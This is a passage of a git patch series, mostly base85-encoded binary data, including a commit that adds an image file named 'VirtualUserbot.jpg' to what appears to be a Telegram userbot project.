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 From 610c18553c22309b65445dddc98e23178f878442 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 15:24:13 +0530 Subject: [PATCH 739/838] @Infinity_Bots --- VirtualUserbot.jpg | Bin 0 -> 24043 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 VirtualUserbot.jpg diff --git a/VirtualUserbot.jpg b/VirtualUserbot.jpg new file mode 100644 index 0000000000000000000000000000000000000000..f56bd07ec92b6eaa168cf8ec8c05043e397c6aab GIT binary patch literal 24043 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 